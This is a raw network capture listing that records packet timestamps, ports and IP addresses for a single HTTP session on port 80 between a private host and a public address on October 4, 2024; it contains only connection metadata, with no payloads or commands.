Oct 4, 2024 04:28:03.662455082 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.662455082 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.662508011 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.662518024 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.662524939 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.662533998 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.662580013 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.662617922 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.662619114 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.662719965 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.662735939 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.662745953 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.662755013 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.662755966 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.662807941 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.662807941 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.662811041 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.662821054 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.662882090 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.662892103 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.662900925 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.662909031 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.662926912 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.662926912 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.662987947 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.663024902 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.663024902 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.663033009 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.663043022 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.663064003 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.663095951 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.663095951 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.663110971 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.663110971 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.663160086 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.663163900 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.663171053 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.663180113 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.663228989 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.663228989 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.663254976 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.663265944 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.663275957 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.663352013 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.663352013 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.663358927 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.663373947 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.663391113 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.663398981 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.663400888 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.663409948 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.663459063 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.663459063 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.663535118 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.663544893 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.663553953 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.663563967 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.663614988 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.663614988 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.663677931 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.663693905 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.663705111 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.663712978 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.663764000 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.663764000 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.663971901 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.663981915 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.664009094 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.664021015 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.664031982 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.664041996 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.664050102 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.664050102 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.664052010 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.664063931 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.664074898 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.664083958 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.664141893 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.664206982 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.664216042 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.664226055 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.664237022 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.664246082 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.664273977 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.664273977 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.664288998 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.664361954 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.664372921 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.664382935 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.664391041 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.664421082 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.664432049 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.664442062 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.664453030 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.664460897 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.664460897 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.664464951 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.664537907 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.664537907 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.664542913 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.664554119 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.664573908 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.664583921 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.664592981 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.664618015 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.664618015 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.664659023 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.664684057 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.664695024 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.664705992 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.664714098 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.664738894 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.664760113 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.664984941 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.665082932 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.665092945 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.665102959 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.665112972 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.665123940 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.665134907 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.665138006 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.665138006 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.665169954 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.665172100 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.665184021 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.665191889 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.665220976 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.665230989 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.665258884 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.665258884 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.665287971 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.665299892 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.665307999 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.665318966 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.665340900 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.665340900 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.665373087 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.666533947 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.666552067 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.666562080 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.666621923 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.666621923 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.666635036 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.666645050 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.666656017 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.666687965 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.666713953 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.666723013 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.666723967 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.666840076 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.745980978 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.745995998 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.746010065 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.746021032 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.746031046 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.746041059 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.746052027 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.746073961 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.746095896 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.746118069 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.746120930 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.746161938 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.746172905 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.746242046 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.746263027 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.746272087 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.746295929 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.746308088 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.746316910 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.746346951 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.746346951 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.746351004 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.746381998 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.746406078 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.754323959 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.754333973 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.754348040 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.754358053 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.754379988 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.754381895 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.754431963 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.754436016 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.754436016 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.754442930 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.754451990 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.754498005 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.754498005 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.754620075 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.754636049 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.754654884 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.754678965 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.754698992 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.754714012 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.754720926 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.754720926 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.754724026 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.754757881 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.754782915 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.754791975 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.754817009 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.754817009 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.754837990 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.754864931 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.754874945 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.754883051 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.754892111 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.754933119 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.754933119 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.754937887 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.754950047 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.755024910 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.755036116 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.755038977 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.755048037 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.755058050 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.755110979 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.755110979 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.755115032 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.755131960 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.755140066 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.755150080 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.755161047 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.755198002 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.755198002 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.755341053 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.755378008 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.755393028 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.755413055 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.755455017 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.755481005 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.755492926 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.755501986 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.755511999 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.755521059 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.755551100 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.755551100 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.755588055 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.755669117 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.755718946 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.755728006 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.755784035 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.755784035 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.755793095 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.755804062 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.755812883 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.755842924 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.755902052 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.755913019 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.755920887 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.755929947 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.755942106 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.755949020 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.755949020 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.755980968 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.755985022 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.756026983 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.756036997 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.756043911 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.756099939 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.756099939 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.756115913 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.756160021 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.756170988 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.756211996 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.756211996 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.756237984 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.756247044 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.756256104 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.756266117 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.756282091 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.756304979 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.756308079 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.756308079 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.756349087 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.756349087 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.756360054 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.756369114 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.756378889 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.756421089 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.756436110 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.756447077 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.756458044 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.756485939 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.756486893 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.756496906 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.756526947 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.756526947 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.756541967 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.756551981 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.756561041 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.756584883 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.756589890 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.756589890 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.756603956 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.756623983 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.756674051 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.756685019 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.756692886 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.756695986 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.756737947 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.756737947 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.756752968 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.756763935 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.756866932 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.756917000 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.756930113 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.756984949 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.756993055 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.756994009 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.757004023 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.757039070 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.757070065 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.757436991 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.757472992 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.757483006 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.757518053 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.757519007 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.757549047 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.757560015 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.757569075 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.757610083 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.757618904 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.757668972 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.757668972 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.757688046 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.757694006 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.757694006 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.757704973 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.757714987 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.757728100 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.757736921 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.757762909 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.757762909 CEST	49740	80	192.168.2.6	172.67.159.45
